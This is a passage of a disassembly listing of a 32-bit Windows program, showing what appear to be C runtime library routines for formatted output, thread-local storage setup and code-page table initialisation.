		jz	short loc_4213D7
		mov	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_4213BF
		cmp	[ebp+var_24], 0
		jnz	short loc_4213D7


loc_4213BF:				; CODE XREF: sub_4209A0+A17j
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		mov	byte ptr [ecx],	30h
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_4213D7:				; CODE XREF: sub_4209A0+371j
					; sub_4209A0+385j ...
		cmp	[ebp+var_23C], 0
		jnz	loc_4215B2
		mov	eax, [ebp+var_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42143D
		mov	ecx, [ebp+var_4]
		and	ecx, 100h
		test	ecx, ecx
		jz	short loc_42140B
		mov	[ebp+var_240], 2Dh
		mov	[ebp+var_10], 1
		jmp	short loc_42143D
; ---------------------------------------------------------------------------


loc_42140B:				; CODE XREF: sub_4209A0+A59j
		mov	edx, [ebp+var_4]
		and	edx, 1
		test	edx, edx
		jz	short loc_421425
		mov	[ebp+var_240], 2Bh
		mov	[ebp+var_10], 1
		jmp	short loc_42143D
; ---------------------------------------------------------------------------


loc_421425:				; CODE XREF: sub_4209A0+A73j
		mov	eax, [ebp+var_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_42143D
		mov	[ebp+var_240], 20h
		mov	[ebp+var_10], 1


loc_42143D:				; CODE XREF: sub_4209A0+A4Cj
					; sub_4209A0+A69j ...
		mov	ecx, [ebp+var_244]
		sub	ecx, [ebp+var_24]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_27C], ecx
		mov	edx, [ebp+var_4]
		and	edx, 0Ch
		test	edx, edx
		jnz	short loc_421475
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_421750
		add	esp, 10h


loc_421475:				; CODE XREF: sub_4209A0+AB7j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_421790
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4214C3
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jnz	short loc_4214C3
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	30h
		call	sub_421750
		add	esp, 10h


loc_4214C3:				; CODE XREF: sub_4209A0+AFBj
					; sub_4209A0+B05j
		cmp	[ebp+var_1C], 0
		jz	loc_421571
		cmp	[ebp+var_24], 0
		jle	loc_421571
		mov	eax, [ebp+var_20]
		mov	[ebp+var_280], eax
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_284], ecx


loc_4214E9:				; CODE XREF: sub_4209A0+BCAj
		mov	edx, [ebp+var_284]
		mov	eax, [ebp+var_284]
		sub	eax, 1
		mov	[ebp+var_284], eax
		test	edx, edx
		jz	short loc_42156F
		mov	ecx, [ebp+var_280]
		mov	dx, [ecx]
		mov	[ebp+var_2A6], dx
		mov	ax, [ebp+var_2A6]
		push	eax
		lea	ecx, [ebp+var_288]
		push	ecx
		mov	edx, [ebp+var_280]
		add	edx, 2
		mov	[ebp+var_280], edx
		call	sub_42A3D0
		add	esp, 8
		mov	[ebp+var_28C], eax
		cmp	[ebp+var_28C], 0
		jg	short loc_421549
		jmp	short loc_42156F
; ---------------------------------------------------------------------------


loc_421549:				; CODE XREF: sub_4209A0+BA5j
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28C]
		push	edx
		lea	eax, [ebp+var_288]
		push	eax
		call	sub_421790
		add	esp, 10h
		jmp	loc_4214E9
; ---------------------------------------------------------------------------


loc_42156F:				; CODE XREF: sub_4209A0+B60j
					; sub_4209A0+BA7j
		jmp	short loc_42158C
; ---------------------------------------------------------------------------


loc_421571:				; CODE XREF: sub_4209A0+B27j
					; sub_4209A0+B31j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_421790
		add	esp, 10h


loc_42158C:				; CODE XREF: sub_4209A0:loc_42156Fj
		mov	edx, [ebp+var_4]
		and	edx, 4
		test	edx, edx
		jz	short loc_4215B2
		lea	eax, [ebp+var_22C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_27C]
		push	edx
		push	20h
		call	sub_421750
		add	esp, 10h


loc_4215B2:				; CODE XREF: sub_4209A0+ADj
					; sub_4209A0+155j ...
		jmp	loc_4209C4
; ---------------------------------------------------------------------------


loc_4215B7:				; CODE XREF: sub_4209A0+3Bj
					; sub_4209A0+48j
		mov	eax, [ebp+var_22C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4209A0	endp

; ---------------------------------------------------------------------------
off_4215C4	dd offset loc_420A60	; DATA XREF: sub_4209A0+B9r
		dd offset loc_420AFA
		dd offset loc_420B3C
		dd offset loc_420BAB
		dd offset loc_420C03
		dd offset loc_420C12
		dd offset loc_420C5E
		dd offset loc_420CF1
off_4215E4	dd offset loc_420B88	; DATA XREF: sub_4209A0+1CCr
		dd offset loc_420B93
		dd offset loc_420B7E
		dd offset loc_420B73
		dd offset loc_420B9E
		dd offset loc_420BA6
byte_4215FC	db 0			; DATA XREF: sub_4209A0+1C6r
		db 2 dup(5), 1
		dd 5050505h, 2050505h, 5050305h
		db 4
off_42160D	dd offset loc_420CA0	; DATA XREF: sub_4209A0+2EEr
		dd offset loc_420CD9
		dd offset loc_420C95
		dd offset loc_420CE3
		dd offset loc_420CEC
byte_421621	db 0			; DATA XREF: sub_4209A0+2E8r
		dw 404h
		dd 7 dup(4040404h), 4040401h, 4040402h,	4040404h, 3040404h
off_421650	dd offset loc_420D2C	; DATA XREF: sub_4209A0+385r
		dd offset loc_420FC0
		dd offset loc_420E50
		dd offset loc_4210F9
		dd offset loc_420DBB
		dd offset loc_420D41
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 10h,	42h, 0
		dd offset loc_420FD0
		dd offset loc_420F75
		dd offset loc_421145
		dd offset loc_4210EF
		dd offset loc_420E66
		dd offset loc_4210E3
		dd offset loc_421105
		dd offset loc_4213D7
byte_42168C	db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh
					; DATA XREF: sub_4209A0+37Fr
		db 4, 8	dup(0Eh), 5, 6,	3 dup(7), 0Eh, 6, 4 dup(0Eh), 8
		db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2	dup(0Eh), 0Dh
		db 0Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216D0	proc near		; CODE XREF: sub_4209A0+F5p
					; sub_4209A0+14Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+4], 0
		jl	short loc_421712
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		movsx	ecx, byte ptr [ebp+arg_0]
		and	ecx, 0FFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_421725
; ---------------------------------------------------------------------------


loc_421712:				; CODE XREF: sub_4216D0+1Aj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_420720
		add	esp, 8
		mov	[ebp+var_4], eax


loc_421725:				; CODE XREF: sub_4216D0+40j
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_421736
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 0FFFFFFFFh
		jmp	short loc_421743
; ---------------------------------------------------------------------------


loc_421736:				; CODE XREF: sub_4216D0+59j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax


loc_421743:				; CODE XREF: sub_4216D0+64j
		mov	esp, ebp
		pop	ebp
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421750	proc near		; CODE XREF: sub_4209A0+ACDp
					; sub_4209A0+B1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp


loc_421753:				; CODE XREF: sub_421750:loc_421781j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_421783
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4216D0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_421781
		jmp	short loc_421783
; ---------------------------------------------------------------------------


loc_421781:				; CODE XREF: sub_421750+2Dj
		jmp	short loc_421753
; ---------------------------------------------------------------------------


loc_421783:				; CODE XREF: sub_421750+11j
					; sub_421750+2Fj
		pop	ebp
		retn
sub_421750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421790	proc near		; CODE XREF: sub_4209A0+AEBp
					; sub_4209A0+BC2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx


loc_421794:				; CODE XREF: sub_421790:loc_4217D4j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		test	eax, eax
		jle	short loc_4217D6
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		call	sub_4216D0
		add	esp, 0Ch
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jnz	short loc_4217D4
		jmp	short loc_4217D6
; ---------------------------------------------------------------------------


loc_4217D4:				; CODE XREF: sub_421790+40j
		jmp	short loc_421794
; ---------------------------------------------------------------------------


loc_4217D6:				; CODE XREF: sub_421790+12j
					; sub_421790+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_421790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E0	proc near		; CODE XREF: sub_4209A0+218p
					; sub_4209A0+27Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	eax, [ecx-4]
		pop	ebp
		retn
sub_4217E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421800	proc near		; CODE XREF: sub_4209A0+7D5p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		sub	ecx, 8
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		pop	ebp
		retn
sub_421800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421820	proc near		; CODE XREF: sub_4209A0+3B2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ax, [ecx-4]
		pop	ebp
		retn
sub_421820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421840	proc near		; CODE XREF: sub_41AB00:loc_41AB94p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41BBA0
		call	dword_4E04A0	; TlsAlloc
		mov	dword_447498, eax
		cmp	dword_447498, 0FFFFFFFFh
		jnz	short loc_421861
		xor	eax, eax
		jmp	short loc_4218BE
; ---------------------------------------------------------------------------


loc_421861:				; CODE XREF: sub_421840+1Bj
		push	61h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_415520
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_421894
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, dword_447498
		push	ecx
		call	dword_4E049C	; TlsSetValue
		test	eax, eax
		jnz	short loc_421898


loc_421894:				; CODE XREF: sub_421840+3Dj
		xor	eax, eax
		jmp	short loc_4218BE
; ---------------------------------------------------------------------------


loc_421898:				; CODE XREF: sub_421840+52j
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_421900
		add	esp, 4
		call	dword_4E0498	; GetCurrentThreadId
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		mov	eax, 1


loc_4218BE:				; CODE XREF: sub_421840+1Fj
					; sub_421840+56j
		mov	esp, ebp
		pop	ebp
		retn
sub_421840	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_41BBE0
		cmp	dword_447498, 0FFFFFFFFh
		jz	short loc_4218F7
		mov	eax, dword_447498
		push	eax
		call	dword_4E04A4	; TlsFree
		mov	dword_447498, 0FFFFFFFFh


loc_4218F7:				; CODE XREF: .data:004218DFj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421900	proc near		; CODE XREF: sub_421840+5Cp
					; sub_421920+5Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+50h], offset dword_4479A8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 1
		pop	ebp
		retn
sub_421900	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421920	proc near		; CODE XREF: sub_417DB0+3p
					; sub_417DC0+4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		mov	eax, dword_447498
		push	eax
		call	dword_4E04AC	; TlsGetValue
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4219A7
		push	0E7h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_415520
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42199D
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, dword_447498
		push	edx
		call	dword_4E049C	; TlsSetValue
		test	eax, eax
		jz	short loc_42199D
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_421900
		add	esp, 4
		call	dword_4E0498	; GetCurrentThreadId
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		jmp	short loc_4219A7
; ---------------------------------------------------------------------------


loc_42199D:				; CODE XREF: sub_421920+43j
					; sub_421920+58j
		push	10h
		call	sub_41AC70
		add	esp, 4


loc_4219A7:				; CODE XREF: sub_421920+22j
					; sub_421920+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_4E04A8	; RtlSetLastWin32Error
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421920	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_447498, 0FFFFFFFFh
		jz	loc_421AC5
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_4219E5
		mov	eax, dword_447498
		push	eax
		call	dword_4E04AC	; TlsGetValue
		mov	[ebp+8], eax


loc_4219E5:				; CODE XREF: .data:004219D4j
		cmp	dword ptr [ebp+8], 0
		jz	loc_421AB6
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_421A09
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+24h]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_421A09:				; CODE XREF: .data:004219F6j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+28h], 0
		jz	short loc_421A23
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_421A23:				; CODE XREF: .data:00421A10j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+30h], 0
		jz	short loc_421A3D
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_421A3D:				; CODE XREF: .data:00421A2Aj
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+38h], 0
		jz	short loc_421A57
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+38h]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_421A57:				; CODE XREF: .data:00421A44j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+40h], 0
		jz	short loc_421A71
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_421A71:				; CODE XREF: .data:00421A5Ej
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+44h], 0
		jz	short loc_421A8B
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+44h]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_421A8B:				; CODE XREF: .data:00421A78j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+50h], offset dword_4479A8
		jz	short loc_421AA8
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_415C60
		add	esp, 8


loc_421AA8:				; CODE XREF: .data:00421A95j
		push	2
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_415C60
		add	esp, 8


loc_421AB6:				; CODE XREF: .data:004219E9j
		push	0
		mov	edx, dword_447498
		push	edx
		call	dword_4E049C	; TlsSetValue


loc_421AC5:				; CODE XREF: .data:004219CAj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	dword_4E0498	; GetCurrentThreadId
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	dword_4E04B0	; GetCurrentThread
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421AF0	proc near		; CODE XREF: sub_4222D0+Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	19h
		call	sub_41BC80
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421E40
		add	esp, 4
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_4DE42C
		jnz	short loc_421B2B
		push	19h
		call	sub_41BD20
		add	esp, 4
		xor	eax, eax
		jmp	loc_421E30
; ---------------------------------------------------------------------------


loc_421B2B:				; CODE XREF: sub_421AF0+28j
		cmp	[ebp+arg_0], 0
		jnz	short loc_421B4C
		call	sub_421F20
		call	sub_421FA0
		push	19h
		call	sub_41BD20
		add	esp, 4
		xor	eax, eax
		jmp	loc_421E30
; ---------------------------------------------------------------------------


loc_421B4C:				; CODE XREF: sub_421AF0+3Fj
		mov	[ebp+var_4], 0
		jmp	short loc_421B5E
; ---------------------------------------------------------------------------


loc_421B55:				; CODE XREF: sub_421AF0:loc_421CAAj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_421B5E:				; CODE XREF: sub_421AF0+63j
		cmp	[ebp+var_4], 5
		jnb	loc_421CAF
		mov	eax, [ebp+var_4]
		imul	eax, 30h
		mov	ecx, dword_4474A8[eax]
		cmp	ecx, [ebp+arg_0]
		jnz	loc_421CAA
		mov	[ebp+var_24], 0
		jmp	short loc_421B8F
; ---------------------------------------------------------------------------


loc_421B86:				; CODE XREF: sub_421AF0+B2j
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_421B8F:				; CODE XREF: sub_421AF0+94j
		cmp	[ebp+var_24], 101h
		jnb	short loc_421BA4
		mov	eax, [ebp+var_24]
		mov	byte_4DE540[eax], 0
		jmp	short loc_421B86
; ---------------------------------------------------------------------------


loc_421BA4:				; CODE XREF: sub_421AF0+A6j
		mov	[ebp+var_C], 0
		jmp	short loc_421BB6
; ---------------------------------------------------------------------------


loc_421BAD:				; CODE XREF: sub_421AF0:loc_421C32j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_421BB6:				; CODE XREF: sub_421AF0+BBj
		cmp	[ebp+var_C], 4
		jnb	short loc_421C37
		mov	edx, [ebp+var_4]
		imul	edx, 30h
		mov	eax, [ebp+var_C]
		lea	ecx, dword_4474B8[edx+eax*8]
		mov	[ebp+var_8], ecx
		jmp	short loc_421BDA
; ---------------------------------------------------------------------------


loc_421BD1:				; CODE XREF: sub_421AF0:loc_421C30j
		mov	edx, [ebp+var_8]
		add	edx, 2
		mov	[ebp+var_8], edx


loc_421BDA:				; CODE XREF: sub_421AF0+DFj
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_421C32
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_421C32
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_421C06
; ---------------------------------------------------------------------------


loc_421BFD:				; CODE XREF: sub_421AF0+13Ej
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_421C06:				; CODE XREF: sub_421AF0+10Bj
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_421C30
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		mov	dl, byte_4DE541[eax]
		or	dl, byte_4474A0[ecx]
		mov	eax, [ebp+var_24]
		mov	byte_4DE541[eax], dl
		jmp	short loc_421BFD
; ---------------------------------------------------------------------------


loc_421C30:				; CODE XREF: sub_421AF0+121j
		jmp	short loc_421BD1
; ---------------------------------------------------------------------------


loc_421C32:				; CODE XREF: sub_421AF0+F3j
					; sub_421AF0+FFj
		jmp	loc_421BAD
; ---------------------------------------------------------------------------


loc_421C37:				; CODE XREF: sub_421AF0+CAj
		mov	ecx, [ebp+arg_0]
		mov	dword_4DE42C, ecx
		mov	dword_4DE43C, 1
		mov	edx, dword_4DE42C
		push	edx
		call	sub_421EA0
		add	esp, 4
		mov	dword_4DE644, eax
		mov	[ebp+var_C], 0
		jmp	short loc_421C70
; ---------------------------------------------------------------------------


loc_421C67:				; CODE XREF: sub_421AF0+1A2j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_421C70:				; CODE XREF: sub_421AF0+175j
		cmp	[ebp+var_C], 6
		jnb	short loc_421C94
		mov	ecx, [ebp+var_4]
		imul	ecx, 30h
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	cx, word_4474AC[ecx+eax*2]
		mov	word_4DE430[edx*2], cx
		jmp	short loc_421C67
; ---------------------------------------------------------------------------


loc_421C94:				; CODE XREF: sub_421AF0+184j
		call	sub_421FA0
		push	19h
		call	sub_41BD20
		add	esp, 4
		xor	eax, eax
		jmp	loc_421E30
; ---------------------------------------------------------------------------


loc_421CAA:				; CODE XREF: sub_421AF0+87j
		jmp	loc_421B55
; ---------------------------------------------------------------------------


loc_421CAF:				; CODE XREF: sub_421AF0+72j
		lea	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E04B4	; GetCPInfo
		cmp	eax, 1
		jnz	loc_421E02
		mov	[ebp+var_24], 0
		jmp	short loc_421CD8
; ---------------------------------------------------------------------------


loc_421CCF:				; CODE XREF: sub_421AF0+1FBj
		mov	ecx, [ebp+var_24]
		add	ecx, 1
		mov	[ebp+var_24], ecx


loc_421CD8:				; CODE XREF: sub_421AF0+1DDj
		cmp	[ebp+var_24], 101h
		jnb	short loc_421CED
		mov	edx, [ebp+var_24]
		mov	byte_4DE540[edx], 0
		jmp	short loc_421CCF
; ---------------------------------------------------------------------------


loc_421CED:				; CODE XREF: sub_421AF0+1EFj
		mov	eax, [ebp+arg_0]
		mov	dword_4DE42C, eax
		mov	dword_4DE644, 0
		cmp	[ebp+var_20], 1
		jbe	loc_421DBE
		lea	ecx, [ebp+var_1A]
		mov	[ebp+var_28], ecx
		jmp	short loc_421D1A
; ---------------------------------------------------------------------------


loc_421D11:				; CODE XREF: sub_421AF0:loc_421D6Aj
		mov	edx, [ebp+var_28]
		add	edx, 2
		mov	[ebp+var_28], edx


loc_421D1A:				; CODE XREF: sub_421AF0+21Fj
		mov	eax, [ebp+var_28]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_421D6C
		mov	edx, [ebp+var_28]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_421D6C
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_421D46
; ---------------------------------------------------------------------------


loc_421D3D:				; CODE XREF: sub_421AF0+278j
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_421D46:				; CODE XREF: sub_421AF0+24Bj
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_421D6A
		mov	eax, [ebp+var_24]
		mov	cl, byte_4DE541[eax]
		or	cl, 4
		mov	edx, [ebp+var_24]
		mov	byte_4DE541[edx], cl
		jmp	short loc_421D3D
; ---------------------------------------------------------------------------


loc_421D6A:				; CODE XREF: sub_421AF0+261j
		jmp	short loc_421D11
; ---------------------------------------------------------------------------


loc_421D6C:				; CODE XREF: sub_421AF0+233j
					; sub_421AF0+23Fj
		mov	[ebp+var_24], 1
		jmp	short loc_421D7E
; ---------------------------------------------------------------------------


loc_421D75:				; CODE XREF: sub_421AF0+2ACj
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_421D7E:				; CODE XREF: sub_421AF0+283j
		cmp	[ebp+var_24], 0FFh
		jnb	short loc_421D9E
		mov	ecx, [ebp+var_24]
		mov	dl, byte_4DE541[ecx]
		or	dl, 8
		mov	eax, [ebp+var_24]
		mov	byte_4DE541[eax], dl
		jmp	short loc_421D75
; ---------------------------------------------------------------------------


loc_421D9E:				; CODE XREF: sub_421AF0+295j
		mov	ecx, dword_4DE42C
		push	ecx
		call	sub_421EA0
		add	esp, 4
		mov	dword_4DE644, eax
		mov	dword_4DE43C, 1
		jmp	short loc_421DC8
; ---------------------------------------------------------------------------


loc_421DBE:				; CODE XREF: sub_421AF0+213j
		mov	dword_4DE43C, 0


loc_421DC8:				; CODE XREF: sub_421AF0+2CCj
		mov	[ebp+var_C], 0
		jmp	short loc_421DDA
; ---------------------------------------------------------------------------


loc_421DD1:				; CODE XREF: sub_421AF0+2FDj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_421DDA:				; CODE XREF: sub_421AF0+2DFj
		cmp	[ebp+var_C], 6
		jnb	short loc_421DEF
		mov	eax, [ebp+var_C]
		mov	word_4DE430[eax*2], 0
		jmp	short loc_421DD1
; ---------------------------------------------------------------------------


loc_421DEF:				; CODE XREF: sub_421AF0+2EEj
		call	sub_421FA0
		push	19h
